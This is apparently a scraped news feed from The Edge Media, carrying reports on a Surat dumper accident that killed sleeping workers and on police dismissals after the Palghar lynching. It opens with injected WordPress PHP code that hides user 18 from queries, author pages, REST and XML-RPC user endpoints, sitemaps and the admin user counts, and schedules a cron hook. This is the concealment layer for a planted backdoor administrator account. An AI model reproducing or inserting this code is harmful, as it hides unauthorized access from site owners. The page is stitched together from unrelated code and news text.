add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Dumper crushed 18 people sleeping on footpath in Surat, 13 dead appeared first on The Edge Media.
]]>It is being told that an uncontrollable dumper on the Kim-Mandvi road in Surat crushed 18 workers sleeping on the roadside. The accident happened around 12 pm. Actually, the speeding dumper driver tried to overtake and hit the tractor loaded with sugarcane.
Due to the collision the dumper driver lost control of the steering wheel and the dumper overturned the workers sleeping on the pavement. In this accident, 13 people sleeping on the roadside died on the spot, while the condition of five people is critical. All serious people have been sent to the hospital.
A six-month-old girl is miraculously saved in an accident. Although his parents have died. The deceased is a native of Kushalgarh in Banswara district of Rajasthan. The police reached the spot and took all the corpses and sent them for postmortem.
Prime Minister Narendra Modi has expressed grief over the Surat accident. He said that loss of life due to truck accident in Surat is sad. My consolation is with the bereaved families. It is prayed that the injured recover as soon as possible. PM also announced compensation. Financial assistance of Rs 2-2 lakh will be given to the relatives of the deceased and Rs 50 thousand to the injured.
The post Dumper crushed 18 people sleeping on footpath in Surat, 13 dead appeared first on The Edge Media.
]]>The post Palghar Mob Lynching Case: 3 Police Personnel Dismissed From Service appeared first on The Edge Media.
]]>These police personnel includes assistant police inspector Anandrao Kale, who was in-charge of Kasa Police Station in Palghar when the incident took place on April 16, the official said.
Two others are assistant sub inspector Ravi Salunke and constable Naresh Dhodi, he said. “The Inspector General of Police, Konkan Range dismissed the trio from service through an order issued on Saturday,” the official added. These three police personnel, along with their five other colleagues, had been placed under suspension following the incident, he said.
Two seers and their driver were lynched by a mob at Gadchinchale village in Palghar on April 16 when they were travelling in a car to Surat (Gujarat) to attend a funeral amid the corona virus-induced lock down. The victims were identified by the police as Chikne Maharaj Kalpavrukshagiri (70), Sushil Giri Maharaj (35) and their driver Nilesh Telgade (30).
The brutal mob attack took place amid rumours that child-lifters were roaming in the area. As many as 154 people have been arrested and 11 juveniles detained in connection with the incident. The accused in the case were charged with murder, armed rioting and using criminal force to prevent a public servant from doing is duty, among other offences, police said.
The case was later handed over to the Maharashtra Criminal Investigation Department for probe. It has filed three charge sheets in the case. After the incident caused an uproar, the state government had suspended Kale, under whose jurisdiction the crime took place, and seven other policemen. Besides, over 35 police constables and personnel of other ranks were transferred in the wake of the mob attack. The government had also sent the then Palghar district police chief, Gaurav Singh, on forced leave.
– PTI
The post Palghar Mob Lynching Case: 3 Police Personnel Dismissed From Service appeared first on The Edge Media.
]]>